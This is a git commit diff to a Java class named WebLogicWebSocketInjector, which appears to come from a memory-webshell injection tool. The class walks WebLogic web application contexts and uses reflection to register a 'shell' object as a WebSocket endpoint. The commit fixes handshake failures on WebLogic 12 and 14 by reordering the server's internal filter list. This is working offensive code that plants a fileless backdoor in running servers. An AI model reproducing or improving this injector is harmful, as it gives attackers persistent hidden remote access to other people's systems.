fix: weblogic 12/14 websocket connnect failed

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 9757a5b050
commit f19fe37c36
@@ -9,6 +9,7 @@ import java.lang.management.ManagementFactory;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -48,9 +49,13 @@ public class WebLogicWebSocketInjector {
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
try { try {
Object container = getServerContainer(context);
if (container == null) {
continue;
}
msg += ("context: [" + getContextRoot(context) + "] "); msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, container, shell);
msg += "[" + getUrlPattern() + "] ready\n"; msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) { } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n"; msg += "failed " + getErrorMessage(e) + "\n";
@@ -139,16 +144,17 @@ public class WebLogicWebSocketInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
private void inject(Object context, Object obj) throws Exception { private Object getServerContainer(Object context) throws Exception {
// WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly // WebLogic's WebAppServletContext implements javax.servlet.ServletContext directly
Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); Object container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
if (container == null) { if (container == null) {
container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); container = invokeMethod(context, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
} }
if (container == null) { return container;
throw new RuntimeException("container is null"); }
}
@SuppressWarnings("all")
private void inject(Object context, Object container, Object obj) throws Exception {
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class<?> serverEndpointConfigClass; Class<?> serverEndpointConfigClass;
Class<?> builderClass; Class<?> builderClass;
@@ -173,6 +179,40 @@ public class WebLogicWebSocketInjector {
} catch (Exception e) { } catch (Exception e) {
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
} }
try {
prioritizeWebSocketFilter(context);
} catch (Exception ignored) {
// Newer WebLogic versions may use different filter internals and already order Tyrus first.
}
}
/**
* WebLogic 12 and 14 append Tyrus's filter after application filters. If one of those filters
* does not support async processing, Tyrus cannot call startAsync() during the WebSocket
* handshake. Move only the WebSocket mapping ahead of normal application mappings so the
* upgrade is handled before a non-async filter can disable async support for the request.
*/
@SuppressWarnings("all")
private void prioritizeWebSocketFilter(Object context) throws Exception {
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object value = getFieldValue(filterManager, "filterPatternList");
if (!(value instanceof List)) {
return;
}
List filterMappings = (List) value;
synchronized (filterMappings) {
for (int i = 0; i < filterMappings.size(); i++) {
Object filterMapping = filterMappings.get(i);
Object filterName = getFieldValue(filterMapping, "filterName");
if ("WebSocket filter".equals(filterName)) {
if (i > 0) {
filterMappings.remove(i);
filterMappings.add(0, filterMapping);
}
return;
}
}
}
} }
@Override @Override